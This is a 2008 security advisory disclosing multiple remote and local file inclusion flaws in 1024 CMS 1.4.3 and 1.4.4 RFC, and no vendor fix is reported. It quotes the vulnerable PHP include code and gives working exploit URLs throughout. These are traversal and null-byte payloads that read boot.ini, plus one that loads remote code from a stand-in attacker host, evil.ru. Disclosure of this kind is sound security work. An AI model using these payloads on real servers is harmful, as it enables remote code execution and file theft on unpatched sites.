[DSECRG-08-027] Multiple RFI-LFI in 1024 CMS 1.4.3, 1.4.4 RFC

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-027

Application: 1024 CMS
Versions Affected: 1.4.3, 1.4.4 RFC
Vendor URL: http://www.1024cms.com/
Bug: Multiple Remote/Local File Include
Exploits: YES
Reported: 18.06.2008
Second report: 27.06.2008
Vendor Response: NONE
Solution: NONE
Date of Public Advisory: 04.07.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description

---

1024 CMS has Remote File Include vulnerability and multiple Local File Include vulnerabilities.

1. Remote/Local File Include vulnerabilities found in scripts:

themes/blog/layouts/standard.php
themes/default/layouts/standard.php
themes/portfolio/layouts/standard.php
themes/snazzy/layouts/standard.php

Code

---

#################################################

<?php include("./themes/".$theme_dir."/layouts/basic_header.php"); ?>
<div class="centerbigtable">
<?php
if(!isset($page_include)) {
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");
else include("./pages/custom/".$page."/default/content.php");
} else include($page_include);
?>

#################################################

Example:

http://[server]/[installdir]/themes/blog/layouts/standard.php?page_include=http://evil.ru/evil.php
http://[server]/[installdir]/themes/default/layouts/standard.php?theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
http://[server]/[installdir]/themes/snazzy/layouts/standard.php?page=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

Multiple Local File Include vulnerabilities:

2. Local File Include vulnerability found in script admin/lang/fr/reports/default.php

Code

---

#################################################

if(isset($_GET['t'])) {
switch($_GET['t']) {
case "forum":
include("…/admin/lang/".$lang."/reports/ops/forum.php");
break;

            case "download":
            include("../admin/lang/".$lang."/reports/ops/download.php");
            break;

            case "news":
            include("../admin/lang/".$lang."/reports/ops/news.php");
            break;
    }

} else die("You cannot access this page directly");

#################################################

Example:

http://[server]/[installdir]/admin/lang/fr/reports/default.php?t=news&lang=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

3. Local File Include vulnerabilities found in scripts:

admin/ops/admins/default.php
admin/ops/reports/ops/download.php
admin/ops/reports/ops/forum.php
admin/ops/reports/ops/news.php

Code

---

#################################################

<?php
include("./themes/".$admin_theme_dir."/templates/default_header.tpl");
…

#################################################

Example:

http://[server]/[installdir]/admin/ops/admins/default.php?admin_theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
http://[server]/[installdir]/admin/ops/reports/ops/news.php?admin_theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

4. Local File Include vulnerabilities found in scripts:

lang/en/moderator/default.php
lang/fr/moderator/default.php

Code

---

#################################################

if(isset($_GET['t'])) {
switch($_GET['t']) {
case "forum":
include("./lang/".$lang."/moderator/ops/forum.php");
break;

            case "download":
            include("./lang/".$lang."/moderator/ops/download.php");
            break;

            case "gallery":
            include("./lang/".$lang."/moderator/ops/gallery.php");
            break;

            case "news":
            include("./lang/".$lang."/moderator/ops/news.php");
            break;
    }

}

#################################################

Example:

http://[server]/[installdir]/lang/en/moderator/default.php?t=news&lang=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
http://[server]/[installdir]/lang/fr/moderator/default.php?t=download&lang=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

5. Local File Include vulnerability found in script lang/de/moderator/default.php

Code

---

#################################################

if(isset($_GET['t'])) {
switch($_GET['t']) {
case "forum":
include("./lang/".$lang."/moderator/ops/forum.php");
break;

            case "download":
            include("./lang/".$lang."/moderator/ops/download.php");
            break;

            case "news":
            include("./lang/".$lang."/moderator/ops/news.php");
            break;
    }

}

#################################################

Example:

http://[server]/[installdir]/lang/de/moderator/default.php?t=forum&lang=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

6. Local File Include vulnerabilities found in scripts:

pages/download/default/ops/add.php
pages/download/default/ops/edit.php

Code

---

#################################################

if(isset($_SESSION['type']) && ($_SESSION['type'] == '1' || ($_SESSION['type'] == '2' && trim($canpostdown) == "true") || $_SESSION['type'] == '4')) {
…
} else {
if($canpostdown !== 'true') define("CONTENT", POST_DISABLED);
else define("CONTENT", POST_LOGIN);
include("./themes/".$theme_dir."/templates/no_content.tpl");
}

#################################################

Example:

http://[server]/[installdir]/pages/download/default/ops/add.php?theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

7. Local File Include vulnerabilities found in scripts:

pages/download/default/ops/newest.php
pages/download/default/ops/search.php
pages/download/default/ops/top.php
pages/forum/default/content.php

Code

---

#################################################

<?php
include("./themes/".$theme_dir."/templates/default_header.tpl");
…

#################################################

Example:

http://[server]/[installdir]/pages/download/default/ops/newest.php?theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
http://[server]/[installdir]/pages/forum/default/content.php?theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

8. Local File Include vulnerabilities found in scripts:

themes/blog/layouts/basic_footer.php
themes/default/layouts/basic_footer.php
themes/portfolio/layouts/basic_footer.php
themes/snazzy/layouts/basic_footer.php

Code

---

#################################################

…
<?php include("./themes/".$theme_dir."/templates/footer.tpl"); ?>
…

#################################################

Example:

http://[server]/[installdir]/themes/blog/layouts/basic_footer.php?theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

9. Local File Include vulnerabilities found in scripts:

themes/blog/layouts/basic_header.php
themes/default/layouts/basic_header.php
themes/portfolio/layouts/basic_header.php
themes/snazzy/layouts/basic_header.php

Code

---

#################################################

…
<?php include("./themes/".$theme_dir."/templates/header.tpl"); ?></td>
…

#################################################

Example:

http://[server]/[installdir]/themes/default/layouts/basic_header.php?theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

10. Local File Include vulnerabilities found in scripts:

themes/blog/layouts/print.php
themes/default/layouts/print.php
themes/portfolio/layouts/print.php
themes/snazzy/layouts/print.php

Code

---

#################################################

if(!isset($page_include)) {
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");
else include("./pages/custom/".$page."/default/content.php");
} else include("./themes/".$theme_dir."/templates/".$page_include);
include("./themes/".$theme_dir."/templates/footer.tpl");

#################################################

Example:

http://[server]/[installdir]/themes/blog/layouts/print.php?page=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
http://[server]/[installdir]/themes/default/layouts/print.php?page_include=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
http://[server]/[installdir]/themes/portfolio/layouts/print.php?theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

11. Local File Include vulnerabilities found in scripts:

themes/blog/layouts/total.php
themes/default/layouts/total.php
themes/portfolio/layouts/total.php
themes/snazzy/layouts/total.php

Code

---

#################################################

<td><?php include("./themes/".$theme_dir."/templates/header.tpl"); ?></td>

</tr>
<tr>
<td>
<?php
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");
else include("./pages/custom/".$page."/default/content.php");
?>

#################################################

Example:

http://[server]/[installdir]/themes/default/layouts/total.php?theme_dir=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
http://[server]/[installdir]/themes/snazzy/layouts/total.php?page=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

About

---

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)